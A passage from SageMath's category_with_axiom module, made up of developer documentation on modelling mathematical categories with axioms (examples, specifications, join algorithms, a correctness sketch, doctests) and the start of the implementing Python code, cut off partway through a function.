natural spot (the\ndocstring of the method) to document and test the modeling of the\nmathematical fact. Finally, Wedderburn's theorem is arguably a theorem\nabout division rings (in the context of division rings, finiteness\nimplies commutativity) and therefore lives naturally in\n:class:`DivisionRings`.\n\nAn alternative would be to implement the category of finite division\nrings (i.e. finite fields) in a class ``DivisionRings.Finite`` rather\nthan ``Fields.Finite``::\n\n    sage: from sage.categories.category_with_axiom import CategoryWithAxiom\n\n    sage: class MyDivisionRings(Category):\n    ....:     def super_categories(self):\n    ....:         return [Rings()]\n\n    sage: class MyFields(Category):\n    ....:     def super_categories(self):\n    ....:         return [MyDivisionRings()]\n\n    sage: class MyFiniteFields(CategoryWithAxiom):\n    ....:     _base_category_class_and_axiom = (MyDivisionRings, \"Finite\")\n    ....:     def extra_super_categories(self): # Wedderburn's theorem\n    ....:         return [MyFields()]\n\n    sage: MyDivisionRings.Finite = MyFiniteFields\n\n    sage: MyDivisionRings().Finite()\n    Category of my finite fields\n    sage: MyFields().Finite() is MyDivisionRings().Finite()\n    True\n\nIn general, if several categories ``C1s()``, ``C2s()``, ... are mapped to\nthe same category when applying some axiom ``A`` (that is ``C1s().A()\n== C2s().A() == ...``), then one should be careful to implement this\ncategory in a single class ``Cs.A``, and set up methods\n``extra_super_categories`` or ``A_extra_super_categories`` methods as\nappropriate. Each such method should return something like\n``[C2s()]`` and not ``[C2s().A()]`` for the latter would likely lead\nto an infinite recursion.\n\n.. TOPIC:: Design discussion\n\n    Supporting similar deduction rules will be an important feature in\n    the future, with quite a few occurences already implemented in\n    upcoming tickets. For the time being though there is a single\n    occurrence of this idiom outside of the tests. So this would be an\n    easy thing to refactor after :trac:`10963` if a better idiom is\n    found.\n\nLarger synthetic examples\n~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWe now consider some larger synthetic examples to check that the\nmachinery works as expected. Let us start with a category defining a\nbunch of axioms, using :func:`axiom` for conciseness (don't do it for\nreal axioms; they deserve a full documentation!)::\n\n    sage: from sage.categories.category_singleton import Category_singleton\n    sage: from sage.categories.category_with_axiom import axiom\n    sage: import sage.categories.category_with_axiom\n    sage: all_axioms = sage.categories.category_with_axiom.all_axioms\n    sage: all_axioms += (\"B\",\"C\",\"D\",\"E\",\"F\")\n\n    sage: class As(Category_singleton):\n    ....:     def super_categories(self):\n    ....:         return [Objects()]\n    ....:\n    ....:     class SubcategoryMethods:\n    ....:         B = axiom(\"B\")\n    ....:         C = axiom(\"C\")\n    ....:         D = axiom(\"D\")\n    ....:         E = axiom(\"E\")\n    ....:         F = axiom(\"F\")\n    ....:\n    ....:     class B(CategoryWithAxiom):\n    ....:         pass\n    ....:     class C(CategoryWithAxiom):\n    ....:         pass\n    ....:     class D(CategoryWithAxiom):\n    ....:         pass\n    ....:     class E(CategoryWithAxiom):\n    ....:         pass\n    ....:     class F(CategoryWithAxiom):\n    ....:         pass\n\nNow we construct a subcategory where, by some theorem of William,\naxioms ``B`` and ``C`` together are equivalent to ``E`` and ``F``\ntogether::\n\n    sage: class A1s(Category_singleton):\n    ....:     def super_categories(self):\n    ....:         return [As()]\n    ....:\n    ....:     class B(CategoryWithAxiom):\n    ....:         def C_extra_super_categories(self):\n    ....:             return [As().E(), As().F()]\n    ....:\n    ....:     class E(CategoryWithAxiom):\n    ....:         def F_extra_super_categories(self):\n    ....:             return [As().B(), As().C()]\n\n    sage: A1s().B().C()\n    Category of e f a1s\n\nThe axioms ``B`` and ``C`` do not show up in the name of the obtained\ncategory because, for concision, the printing uses some heuristics to\nnot show axioms that are implied by others. But they are satisfied::\n\n    sage: sorted(A1s().B().C().axioms())\n    ['B', 'C', 'E', 'F']\n\nNote also that this is a join category::\n\n    sage: type(A1s().B().C())\n    <class 'sage.categories.category.JoinCategory_with_category'>\n    sage: A1s().B().C().super_categories()\n    [Category of e a1s,\n     Category of f as,\n     Category of b a1s,\n     Category of c as]\n\nAs desired, William's theorem holds::\n\n    sage: A1s().B().C() is A1s().E().F()\n    True\n\nand propagates appropriately to subcategories::\n\n    sage: C =  A1s().E().F().D().B().C()\n    sage: C is A1s().B().C().E().F().D()  # commutativity\n    True\n    sage: C is A1s().E().F().E().F().D()  # William's theorem\n    True\n    sage: C is A1s().E().E().F().F().D()  # commutativity\n    True\n    sage: C is A1s().E().F().D()          # idempotency\n    True\n    sage: C is A1s().D().E().F()\n    True\n\nIn this quick variant, we actually implement the category of ``b c\na2s``, and choose to do so in ``A2s.B.C``::\n\n    sage: class A2s(Category_singleton):\n    ....:     def super_categories(self):\n    ....:         return [As()]\n    ....:\n    ....:     class B(CategoryWithAxiom):\n    ....:         class C(CategoryWithAxiom):\n    ....:             def extra_super_categories(self):\n    ....:                 return [As().E(), As().F()]\n    ....:\n    ....:     class E(CategoryWithAxiom):\n    ....:         def F_extra_super_categories(self):\n    ....:             return [As().B(), As().C()]\n\n\n    sage: A2s().B().C()\n    Category of e f a2s\n    sage: sorted(A2s().B().C().axioms())\n    ['B', 'C', 'E', 'F']\n    sage: type(A2s().B().C())\n    <class '__main__.A2s.B.C_with_category'>\n\nAs desired, William's theorem and its consequences hold::\n\n    sage: A2s().B().C() is A2s().E().F()\n    True\n    sage: C =  A2s().E().F().D().B().C()\n    sage: C is A2s().B().C().E().F().D()  # commutativity\n    True\n    sage: C is A2s().E().F().E().F().D()  # William's theorem\n    True\n    sage: C is A2s().E().E().F().F().D()  # commutativity\n    True\n    sage: C is A2s().E().F().D()          # idempotency\n    True\n    sage: C is A2s().D().E().F()\n    True\n\nFinally, we \"accidentally\" implement the category of ``b c a1s``, both\nin ``A3s.B.C`` and ``A3s.E.F``::\n\n    sage: class A3s(Category_singleton):\n    ....:     def super_categories(self):\n    ....:         return [As()]\n    ....:\n    ....:     class B(CategoryWithAxiom):\n    ....:         class C(CategoryWithAxiom):\n    ....:             def extra_super_categories(self):\n    ....:                 return [As().E(), As().F()]\n    ....:\n    ....:     class E(CategoryWithAxiom):\n    ....:         class F(CategoryWithAxiom):\n    ....:             def extra_super_categories(self):\n    ....:                 return [As().B(), As().C()]\n\nWe can still construct, say::\n\n    sage: A3s().B()\n    Category of b a3s\n    sage: A3s().C()\n    Category of c a3s\n\nHowever,\n::\n\n    sage: A3s().B().C()           # not tested\n\nruns into an infinite recursion loop, as ``A3s().B().C()`` wants to\nhave ``A3s().E().F()`` as super category and reciprocally.\n\n.. TODO::\n\n    The above example violates the specifications (a category should\n    be modelled by at most one class), so it's appropriate that it\n    fails. Yet, the error message could be usefully complemented by\n    some hint at what the source of the problem is (a category\n    implemented in two distinct classes). Leaving a large enough piece\n    of the backtrace would be useful though, so that one can explore\n    where the issue comes from (e.g. with post mortem debugging).\n\nSpecifications\n==============\n\nAfter fixing some vocabulary, we summarize here some specifications\nabout categories and axioms.\n\nThe lattice of constructible categories\n---------------------------------------\n\nA mathematical category `C` is *implemented* if there is a class in\nSage modelling it; it is *constructible* if it is either implemented,\nor is the intersection of *implemented* categories; in the latter case\nit is modelled by a :class:`~.category.JoinCategory`. The comparison of two\nconstructible categories with the :meth:`Category.is_subcategory`\nmethod is supposed to model the comparison of the corresponding\nmathematical categories for inclusion of the objects (see\n:ref:`category-primer-subcategory` for details). For example::\n\n    sage: Fields().is_subcategory(Rings())\n    True\n\nHowever this modelling may be incomplete. It can happen that a\nmathematical fact implying that a category `A` is a subcategory of a\ncategory `B` is not implemented. Still, the comparison should endow\nthe set of constructible categories with a poset structure and in fact\na lattice structure.\n\nIn this lattice, the join of two categories (:meth:`Category.join`) is\nsupposed to model their intersection. Given that we compare categories\nfor inclusion, it would be more natural to call this operation the\n*meet*; blames go to me (Nicolas) for originally comparing categories\nby *amount of structure* rather than by *inclusion*. In practice, the\njoin of two categories may be a strict super category of their\nintersection; first because this intersection might not be\nconstructible; second because Sage might miss some mathematical\ninformation to recover the smallest constructible super category of\nthe intersection.\n\nAxioms\n------\n\nWe say that an axiom ``A`` is *defined by* a category ``Cs()`` if\n``Cs`` defines an appropriate method ``Cs.SubcategoryMethods.A``, with\nthe semantic of the axiom specified in the documentation; for any\nsubcategory ``Ds()``, ``Ds().A()`` models the subcategory of the\nobjects of ``Ds()`` satisfying ``A``. In this case, we say that the\naxiom ``A`` is *defined for* the category ``Ds()``. Furthermore,\n``Ds`` *implements the axiom* ``A`` if ``Ds`` has a category with\naxiom as nested class ``Ds.A``. The category ``Ds()`` *satisfies* the\naxiom if ``Ds()`` is a subcategory of ``Cs().A()`` (meaning that all\nthe objects of ``Ds()`` are known to satisfy the axiom ``A``).\n\nA digression on the structure of fibers when adding an axiom\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nConsider the application `\\phi_A` which maps a category to its\ncategory of objects satisfying `A`. Equivalently, `\\phi_A` is\ncomputing the intersection with the defining category with axiom of\n`A`. It follows immediately from the latter that `\\phi_A` is a\nregressive endomorphism of the lattice of categories. It restricts\nto a regressive endomorphism ``Cs() |-> Cs().A()``\non the lattice of constructible categories.\n\nThis endomorphism may have non trivial fibers, as in our favorite\nexample: ``DivisionRings()`` and ``Fields()`` are in the same fiber\nfor the axiom ``Finite``::\n\n    sage: DivisionRings().Finite() is Fields().Finite()\n    True\n\nConsider the intersection `S` of such a fiber of `\\phi_A` with the\nupper set `I_A` of categories that do not satisfy ``A``. The fiber\nitself is a sublattice. However `I_A` is not guaranteed to be stable\nunder intersection (though exceptions should be rare). Therefore,\nthere is a priori no guarantee that `S` would be stable under\nintersection. Also it's presumably finite, in fact small, but this is\nnot guaranteed either.\n\nSpecifications\n--------------\n\n- Any constructible category ``C`` should admit a finite number of\n  larger constructible categories.\n\n- The methods ``super_categories``, ``extra_super_categories``, and\n  friends should always return strict supercategories.\n\n  For example, to specify that a finite division ring is a finite\n  field, ``DivisionRings.Finite_extra_super_categories`` should not\n  return ``Fields().Finite()``! It could possibly return ``Fields()``;\n  but it's preferable to return the largest category that contains the\n  relevant information, in this case ``Magmas().Commutative()``, and\n  to let the infrastructure apply the derivations.\n\n- The base category of a :class:`CategoryWithAxiom` should be an\n  implemented category (i.e. not a\n  :class:`~.category.JoinCategory`). This is checked by\n  :meth:`CategoryWithAxiom._test_category_with_axiom`.\n\n- Arborescent structure: Let ``Cs()`` be a category, and `S` be some\n  set of axioms defined in some super categories of ``Cs()`` but not\n  satisfied by ``Cs()``. Suppose we want to provide a category with\n  axiom for the elements of ``Cs()`` satisfying the axioms in\n  `S`. Then, there should be a single enumeration ``A1, A2, ..., Ak``\n  without repetition of axioms in `S` such that\n  ``Cs.A1.A2....Ak`` is an implemented category.\n  Furthermore, every intermediate step\n  ``Cs.A1.A2....Ai`` with `i\\leq k` should be a category with axiom\n  having ``Ai`` as axiom and ``Cs.A1.A2....Ai-1`` as base category\n  class; this base category class should not satisfy ``Ai``. In\n  particular, when some axioms of `S` can be deduced from previous\n  ones by deduction rules, they should not appear in the enumeration\n  ``A1, A2, ..., Ak``.\n\n- In particular, if ``Cs()`` is a category that satisfies some axiom\n  ``A`` (e.g. from one of its super categories), then it should not\n  implement that axiom. For example, a category class ``Cs`` can never\n  have a nested class ``Cs.A.A``. Similarly, applying the\n  specification recursively, a category satisfying ``A`` cannot have a\n  nested class ``Cs.A1.A2.A3.A`` where ``A1``, ``A2``, ``A3`` are\n  axioms.\n\n- A category can only implement an axiom if this axiom is defined by\n  some super category. The code has not been systematically checked to\n  support having two super categories defining the same axiom (which\n  should of course have the same semantic). You are welcome to try, at\n  your own risk. :-)\n\n- When a category defines an axiom or functorial construction ``A``,\n  this fixes the semantic of ``A`` for all the subcategories. In\n  particular, if two categories define ``A``, then these categories\n  should be independent, and either the semantic of ``A`` should be\n  the same, or there should be no natural intersection between the two\n  hierarchies of subcategories.\n\n- Any super category of a\n  :class:`~.category.CategoryWithParameters` should either be a\n  :class:`~.category.CategoryWithParameters` or a\n  :class:`Category_singleton`.\n\n- A :class:`CategoryWithAxiom` having a\n  :class:`~sage.categories.category_singleton.Category_singleton` as base\n  category should be a :class:`CategoryWithAxiom_singleton`. This is handled\n  automatically by :meth:`CategoryWithAxiom.__init__` and checked in\n  :meth:`CategoryWithAxiom._test_category_with_axiom`.\n\n- A :class:`CategoryWithAxiom` having a\n  :class:`Category_over_base_ring` as base category should be a\n  :class:`Category_over_base_ring`. This currently has to be handled\n  by hand, using :class:`CategoryWithAxiom_over_base_ring`. This is\n  checked in :meth:`CategoryWithAxiom._test_category_with_axiom`.\n\n.. TODO::\n\n    The following specifications would be desirable but are not yet\n    implemented:\n\n    - A functorial construction category (Graded, CartesianProducts,\n      ...) having a :class:`Category_singleton` as base category\n      should be a :class:`CategoryWithAxiom_singleton`.\n\n      Nothing difficult to implement, but this will need to rework the\n      current \"no subclass of a concrete class\" assertion test of\n      :meth:`Category_singleton.__classcall__`.\n\n    - Similarly, a covariant functorial construction category having a\n      :class:`Category_over_base_ring` as base category should be a\n      :class:`Category_over_base_ring`.\n\n    The following specification might be desirable, or not:\n\n    - A join category involving a :class:`Category_over_base_ring`\n      should be a :class:`Category_over_base_ring`. In the mean\n      time, a ``base_ring`` method is automatically provided for most\n      of those by :meth:`Modules.SubcategoryMethods.base_ring`.\n\n\nDesign goals\n============\n\nAs pointed out in the primer, the main design goal of the axioms\ninfrastructure is to subdue the potential combinatorial explosion of\nthe category hierarchy by letting the developer focus on implementing\na few bookshelves for which there is actual code or mathematical\ninformation, and let Sage *compose dynamically and lazily* these\nbuilding blocks to construct the minimal hierarchy of classes needed\nfor the computation at hand. This allows for the infrastructure to\nscale smoothly as bookshelves are added, extended, or reorganized.\n\nOther design goals include:\n\n - Flexibility in the code layout: the category of, say, finite sets\n   can be implemented either within the Sets category (in a nested\n   class ``Sets.Finite``), or in a separate file (typically in a class\n   ``FiniteSets`` in a lazily imported module\n   sage.categories.finite_sets).\n\n - Single point of truth: a theorem, like Wedderburn's, should be\n   implemented in a single spot.\n\n - Single entry point: for example, from the entry :class:`Rings`, one\n   can explore a whole range of related categories just by applying\n   axioms and constructions::\n\n       sage: Rings().Commutative().Finite().NoZeroDivisors()\n       Category of finite integral domains\n       sage: Rings().Finite().Division()\n       Category of finite fields\n\n   This will allow for progressively getting rid of all the entries\n   like :class:`GradedHopfAlgebrasWithBasis` which are polluting the\n   global name space.\n\n   Note that this is not about precluding the existence of multiple\n   natural ways to construct the same category::\n\n       sage: Groups().Finite()\n       Category of finite groups\n       sage: Monoids().Finite().Inverse()\n       Category of finite groups\n       sage: Sets().Finite() & Monoids().Inverse()\n       Category of finite groups\n\n - Concise idioms for the users (adding axioms, ...)\n\n - Concise idioms and well highlighted hierarchy of bookshelves for\n   the developer (especially with code folding)\n\n - Introspection friendly (listing the axioms, recovering the mixins)\n\n.. NOTE::\n\n    The constructor for instances of this class takes as input the\n    base category. Hence, they should in principle be constructed\n    as::\n\n        sage: FiniteSets(Sets())\n        Category of finite sets\n\n        sage: Sets.Finite(Sets())\n        Category of finite sets\n\n    None of these idioms are really practical for the user. So instead,\n    this object is to be constructed using any of the following idioms::\n\n        sage: Sets()._with_axiom('Finite')\n        Category of finite sets\n        sage: FiniteSets()\n        Category of finite sets\n        sage: Sets().Finite()\n        Category of finite sets\n\n    The later two are implemented using respectively\n    :meth:`CategoryWithAxiom.__classcall__` and\n    :meth:`CategoryWithAxiom.__classget__`.\n\nUpcoming features\n=================\n\n.. TODO:\n\n    - Implement compatibility axiom / functorial constructions. For\n      example, one would want to have::\n\n          A.CartesianProducts() & B.CartesianProducts() = (A&B).CartesianProducts()\n\n    - Once full subcategories are implemented (see :trac:`10668`),\n      make the relevant categories with axioms be such. This can be\n      done systematically for, e.g., the axioms ``Associative`` or\n      ``Commutative``, but not for the axiom ``Unital``: a semigroup\n      morphism between two monoids need not preserve the unit.\n\n      Should all full subcategories be implemented in term of axioms?\n\n.. _axioms-algorithmic:\n\nAlgorithms\n==========\n\nComputing joins\n---------------\n\nThe workhorse of the axiom infrastructure is the algorithm for\ncomputing the join `J` of a set `C_1, \\ldots, C_k` of categories (see\n:meth:`Category.join`). Formally, `J` is defined as the largest\nconstructible category such that `J \\subset C_i` for all `i`, and\n`J \\subset C.A()` for every constructible category `C \\supset J`\nand any axiom `A` satisfied by `J`.\n\nThe join `J` is naturally computed as a closure in the lattice of\nconstructible categories: it starts with the `C_i`'s, gathers the set\n`S` of all the axioms satisfied by them, and repeteadly adds each\naxiom `A` to those categories that do not yet satisfy `A` using\n:meth:`Category._with_axiom`. Due to deduction rules or (extra) super\ncategories, new categories or new axioms may appear in the\nprocess. The process stops when each remaining category has been\ncombined with each axiom. In practice, only the smallest categories\nare kept along the way; this is correct because adding an axiom is\ncovariant: ``C.A()`` is a subcategory of ``D.A()`` whenever ``C`` is a\nsubcategory of ``D``.\n\nAs usual in such closure computations, the result does not depend on\nthe order of execution. Futhermore, given that adding an axiom is an\nidempotent and regressive operation, the process is guaranteed to stop\nin a number of steps which is bounded by the number of super\ncategories of `J`. In particular, it is a finite process.\n\n.. TODO::\n\n    Detail this a bit. What could typically go wrong is a situation\n    where, for some category ``C1``, ``C1.A()`` specifies a category\n    ``C2`` as super category such that ``C2.A()`` specifies ``C3`` as\n    super category such that ...; this would clearly cause an infinite\n    execution. Note that this situation violates the specifications\n    since ``C1.A()`` is supposed to be a subcategory of ``C2.A()``,\n    ... so we would have an infinite increasing chain of constructible\n    categories.\n\n    It's reasonnable to assume that there is a finite number of axioms\n    defined in the code. There remains to use this assumption to argue\n    that any infinite execution of the algorithm would give rise to\n    such an infinite sequence.\n\nAdding an axiom\n---------------\n\nLet ``Cs`` be a category and ``A`` an axiom defined for this\ncategory. To compute ``Cs().A()``, there are two cases.\n\nAdding an axiom ``A`` to a category ``Cs()`` not implementing it\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIn this case, ``Cs().A()`` returns the join of:\n\n- ``Cs()``\n- ``Bs().A()`` for every direct super category ``Bs()`` of ``Cs()``\n- the categories appearing in ``Cs().A_extra_super_categories()``\n\nThis is a highly recursive process. In fact, as such, it would run\nright away into an infinite loop! Indeed, the join of ``Cs()`` with\n``Bs().A()`` would trigger the construction of ``Cs().A()`` and\nreciprocally. To avoid this, the :meth:`Category.join` method itself\ndoes not use :meth:`Category._with_axiom` to add axioms, but its\nsister :meth:`Category._with_axiom_as_tuple`; the latter builds a\ntuple of categories that should be joined together but leaves the\ncomputation of the join to its caller, the master join calculation.\n\nAdding an axiom ``A`` to a category ``Cs()`` implementing it\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIn this case ``Cs().A()`` simply constructs an instance `D` of\n``Cs.A`` which models the desired category. The non trivial part is\nthe construction of the super categories of `D`. Very much like\nabove, this includes:\n\n- ``Cs()``\n- ``Bs().A()`` for every super category ``Bs()`` of ``Cs()``\n- the categories appearing in ``D.extra_super_categories()``\n\nThis by itself may not be sufficient, due in particular to deduction\nrules. On may for example discover a new axiom ``A1`` satisfied by\n`D`, imposing to add ``A1`` to all of the above categories. Therefore\nthe super categories are computed as the join of the above categories.\nUp to one twist: as is, the computation of this join would trigger\nrecursively a recalculation of ``Cs().A()``! To avoid this,\n:meth:`Category.join` is given an optional argument to specify that\nthe axiom ``A`` should *not* be applied to ``Cs()``.\n\nSketch of proof of correctness and evaluation of complexity\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nAs we have seen, this is a highly recursive process! In particular,\none needs to argue that, as long as the specifications are satisfied,\nthe algorithm won't run in an infinite recursion, in particular in\ncase of deduction rule.\n\n.. TOPIC:: Theorem\n\n    Consider the construction of a category `C` by adding an axiom to\n    a category (or computing of a join). Let `H` be the hierarchy of\n    implemented categories above `C`. Let `n` and `m` be respectively\n    the number of categories and the number of inheritance edges in\n    `H`.\n\n    Assuming that the specifications are satisfied, the construction\n    of `C` involves constructing the categories in `H` exactly once\n    (and no other category), and at most `n` join calculations. In\n    particular, the time complexity should be, roughly speaking,\n    bounded by `n^2`. In particular, it's finite.\n\n.. TOPIC:: Remark\n\n    It's actually to be expected that the complexity is more of the\n    order of magnitude of `na+m`, where `a` is the number of axioms\n    satisfied by `C`. But this is to be checked in detail, in\n    particular due to the many category inclusion tests involved.\n\nThe key argument is that :class:`Category.join` cannot call itself\nrecursively without going through the construction of some implemented\ncategory. In turn, the construction of some implemented category `C`\nonly involves constructing strictly smaller categories, and possibly a\ndirect join calculation whose result is strictly smaller than\n`C`. This statement is obvious if `C` implements the\n``super_categories`` method directly, and easy to check for functorial\nconstruction categories. It requires a proof for categories with\naxioms since there is a recursive join involved.\n\n.. TOPIC:: Lemma\n\n    Let `C` be a category implementing an axiom `A`. Recall that the\n    construction of ``C.A()`` involves a single direct join\n    calculation for computing the super categories. No other direct\n    join calculation occur, and the calculation involves only\n    implemented categories that are strictly smaller than ``C.A()``.\n\n.. TOPIC:: Proof\n\n   Let `D` be a category involved in the join calculation for the\n   super categories of ``C.A()``, and assume by induction that `D` is\n   strictly smaller than ``C.A()``. A category `E` newly constructed\n   from `D` can come from:\n\n   - ``D.(extra_)super_categories()``\n\n     In this case, the specifications impose that `E` should be\n     strictly smaller than `D` and therefore strictly smaller than\n     `C`.\n\n   - ``D.with_axiom_as_tuple('B')`` or ``D.B_extra_super_categories()``\n     for some axiom `B`\n\n     In this case, the axiom `B` is satisfied by some subcategory of\n     ``C.A()``, and therefore must be satisfied by ``C.A()`` itself.\n     Since adding an axiom is a regressive construction, `E` must be a\n     subcategory of ``C.A()``. If there is equality, then `E` and\n     ``C.A()`` must have the same class, and therefore, `E` must be\n     directly constructed as ``C.A()``. However the join construction\n     explicitly prevents this call.\n\n   Note that a call to ``D.with_axiom_as_tuple('B')`` does not trigger\n   a direct join calculation; but of course, if `D` implements `B`,\n   the construction of the implemented category ``E = D.B()`` will\n   involve a strictly smaller join calculation.\n\n\nConclusion\n==========\n\nThis is the end of the axioms documentation. Congratulations on\nhaving read that far!\n\n\nTests\n=====\n\n.. NOTE::\n\n    Quite a few categories with axioms are constructed early on during\n    Sage's startup. Therefore, when playing around with the\n    implementation of the axiom infrastructure, it is easy to break\n    Sage. The following sequence of tests is designed to test the\n    infrastructure from the ground up even in a partially broken\n    Sage. Please don't remove the imports!\n\nTESTS:\n\n::\n\n    sage: Magmas()\n    Category of magmas\n    sage: Magmas().Finite()\n    Category of finite magmas\n\n    sage: Magmas().Unital()\n    Category of unital magmas\n    sage: Magmas().Commutative().Unital()\n    Category of commutative unital magmas\n    sage: Magmas().Associative()\n    Category of semigroups\n    sage: Magmas().Associative() & Magmas().Unital().Inverse() & Sets().Finite()\n    Category of finite groups\n    sage: _ is Groups().Finite()\n    True\n\n    sage: from sage.categories.semigroups import Semigroups\n    sage: Semigroups()\n    Category of semigroups\n    sage: Semigroups().Finite()\n    Category of finite semigroups\n\n    sage: from sage.categories.modules_with_basis import ModulesWithBasis\n    sage: ModulesWithBasis(QQ) is Modules(QQ).WithBasis()\n    True\n    sage: ModulesWithBasis(ZZ) is Modules(ZZ).WithBasis()\n    True\n\n    sage: Semigroups().Unital()\n    Category of monoids\n    sage: Semigroups().Unital().Commutative()\n    Category of commutative monoids\n    sage: Semigroups().Commutative()\n    Category of commutative semigroups\n    sage: Semigroups().Commutative().Unital()\n    Category of commutative monoids\n    sage: Semigroups().Commutative().Unital().super_categories()\n    [Category of monoids, Category of commutative magmas]\n\n    sage: AdditiveMagmas().AdditiveAssociative().AdditiveCommutative()\n    Category of commutative additive semigroups\n\n    sage: from sage.categories.magmas_and_additive_magmas import MagmasAndAdditiveMagmas\n    sage: C = CommutativeAdditiveMonoids() & Monoids() & MagmasAndAdditiveMagmas().Distributive(); C\n    Category of semirings\n    sage: C is (CommutativeAdditiveMonoids() & Monoids()).Distributive()\n    True\n    sage: C.AdditiveInverse()\n    Category of rings\n    sage: Rings().axioms()\n    frozenset({'AdditiveAssociative',\n               'AdditiveCommutative',\n               'AdditiveInverse',\n               'AdditiveUnital',\n               'Associative',\n               'Distributive',\n               'Unital'})\n    sage: sorted(Rings().axioms())\n    ['AdditiveAssociative', 'AdditiveCommutative', 'AdditiveInverse',\n     'AdditiveUnital', 'Associative', 'Distributive', 'Unital']\n\n    sage: Domains().Commutative()\n    Category of integral domains\n\n    sage: DivisionRings().Finite() # Wedderburn's theorem\n    Category of finite fields\n\n    sage: FiniteMonoids().Algebras(QQ)\n    Join of Category of monoid algebras over Rational Field\n        and Category of finite dimensional algebras with basis over Rational Field\n        and Category of finite set algebras over Rational Field\n    sage: FiniteGroups().Algebras(QQ)\n    Category of finite group algebras over Rational Field\n\"\"\"\n#*****************************************************************************\n#  Copyright (C) 2011-2014 Nicolas M. Thiery <nthiery at users.sf.net>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\nfrom __future__ import print_function\n\nimport importlib\nimport re\nfrom sage.misc.cachefunc import cached_method, cached_function\nfrom sage.misc.lazy_attribute import lazy_class_attribute\nfrom sage.misc.lazy_import import LazyImport\nfrom sage.misc.misc import call_method\nfrom sage.categories.category import Category\nfrom sage.categories.category_singleton import Category_singleton\nfrom sage.categories.category_types import Category_over_base_ring\nfrom sage.structure.dynamic_class import DynamicMetaclass\nfrom sage.categories.category_cy_helper import AxiomContainer, canonicalize_axioms, _sort_uniq\n\n# The order of the axioms in this lists implies that\n# Magmas().Commutative().Unital() is printed as\n# ``Category of commutative unital magmas''\n\nall_axioms = AxiomContainer()\nall_axioms += (\"Flying\", \"Blue\",\n               \"Compact\",\n               \"Differentiable\", \"Smooth\", \"Analytic\", \"AlmostComplex\",\n               \"FinitelyGeneratedAsMagma\",\n               \"WellGenerated\",\n               \"Facade\", \"Finite\", \"Infinite\",\n               \"Complete\",\n               \"FiniteDimensional\", \"Connected\", \"WithBasis\",\n               \"Irreducible\",\n               \"Commutative\", \"Associative\", \"Inverse\", \"Unital\", \"Division\", \"NoZeroDivisors\",\n               \"AdditiveCommutative\", \"AdditiveAssociative\", \"AdditiveInverse\", \"AdditiveUnital\",\n               \"Distributive\",\n               \"Endset\",\n              )\n\ndef uncamelcase(s,separator=\" \"):\n    \"\"\"\n    EXAMPLES::\n\n        sage: sage.categories.category_with_axiom.uncamelcase(\"FiniteDimensionalAlgebras\")\n        'finite dimensional algebras'\n        sage: sage.categories.category_with_axiom.uncamelcase(\"JTrivialMonoids\")\n        'j trivial monoids'\n        sage: sage.categories.category_with_axiom.uncamelcase(\"FiniteDimensionalAlgebras\", \"_\")\n        'finite_dimensional_algebras'\n    \"\"\"\n    return re.sub(\"(?!^)[A-Z]\", lambda match: separator+match.group()[0], s).lower()\n\ndef base_category_class_and_axiom(cls):\n    \"\"\"\n    Try to deduce the base category and the axiom from the name of ``cls``.\n\n    The heuristic is to try to decompose the name as the concatenation\n    of the name of a category and the name of an axiom, and looking up\n    that category in the standard location (i.e. in\n    :mod:`sage.categories.hopf_algebras` for :class:`HopfAlgebras`,\n    and in :mod:`sage.categories.sets_cat` as a special case\n    for :class:`Sets`).\n\n    If the heuristic succeeds, the result is guaranteed to be\n    correct. Otherwise, an error is raised.\n\n    EXAMPLES::\n\n        sage: from sage.categories.category_with_axiom import base_category_class_and_axiom, CategoryWithAxiom\n        sage: base_category_class_and_axiom(FiniteSets)\n        (<class 'sage.categories.sets_cat.Sets'>, 'Finite')\n        sage: Sets.Finite\n        <class 'sage.categories.finite_sets.FiniteSets'>\n        sage: base_category_class_and_axiom(Sets.Finite)\n        (<class 'sage.categories.sets_cat.Sets'>, 'Finite')\n\n        sage: base_category_class_and_axiom(FiniteDimensionalHopfAlgebrasWithBasis)\n        (<class 'sage.categories.hopf_algebras_with_basis.HopfAlgebrasWithBasis'>, 'FiniteDimensional')\n\n        sage: base_category_class_and_axiom(HopfAlgebrasWithBasis)\n        (<class 'sage.categories.hopf_algebras.HopfAlgebras'>, 'WithBasis')\n\n    Along the way, this does some sanity checks::\n\n        sage: class FacadeSemigroups(CategoryWithAxiom):\n        ....:     pass\n        sage: base_category_class_and_axiom(FacadeSemigroups)\n        Traceback (most recent call last):\n        ...\n        AssertionError: Missing (lazy import) link for <class 'sage.categories.semigroups.Semigroups'> to <class '__main__.FacadeSemigroups'> for axiom Facade?\n\n        sage: Semigroups.Facade = FacadeSemigroups\n        sage: base_category_class_and_axiom(FacadeSemigroups)\n        (<class 'sage.categories.semigroups.Semigroups'>, 'Facade')\n\n    .. NOTE::\n\n        In the following example, we could possibly retrieve ``Sets``\n        from the class name. However this cannot be implemented\n        robustly until :trac:`9107` is fixed. Anyway this feature\n        has not been needed so far::\n\n            sage: Sets.Infinite\n            <class 'sage.categories.sets_cat.Sets.Infinite'>\n            sage: base_category_class_and_axiom(Sets.Infinite)\n            Traceback (most recent call last):\n            ...\n            TypeError: Could not retrieve the base category class and axiom for <class 'sage.categories.sets_cat.Sets.Infinite'>.\n            ...\n    \"\"\"\n    if \".\" in cls.__name__:\n        # Case 1: class name of the form Sets.Infinite\n        # Start of implementation when #9107 will be fixed:\n        # axiom = cls.__name__.split(\".\")[-1]\n        # ...\n        pass\n    else:\n        # Case 2: class name of the form FiniteSets or AlgebrasWithBasis,\n        # with the base class (say Algebras) being implemented in the\n        # standard location (sage.categories.algebras)\n        name = cls.__name__\n        for axiom in all_axioms:\n            if axiom == \"WithBasis\" and name.endswith(axiom):\n                base_name = name[:-len(axiom)]\n            elif name.startswith(axiom):\n                base_name = name[len(axiom):]\n            else:\n                continue\n            if base_name == \"Sets\": # Special case for Sets which is in sets_cat\n                base_module_name = \"sets_cat\"\n            else:\n                base_module_name = uncamelcase(base_name, \"_\")\n            try:\n                base_module = 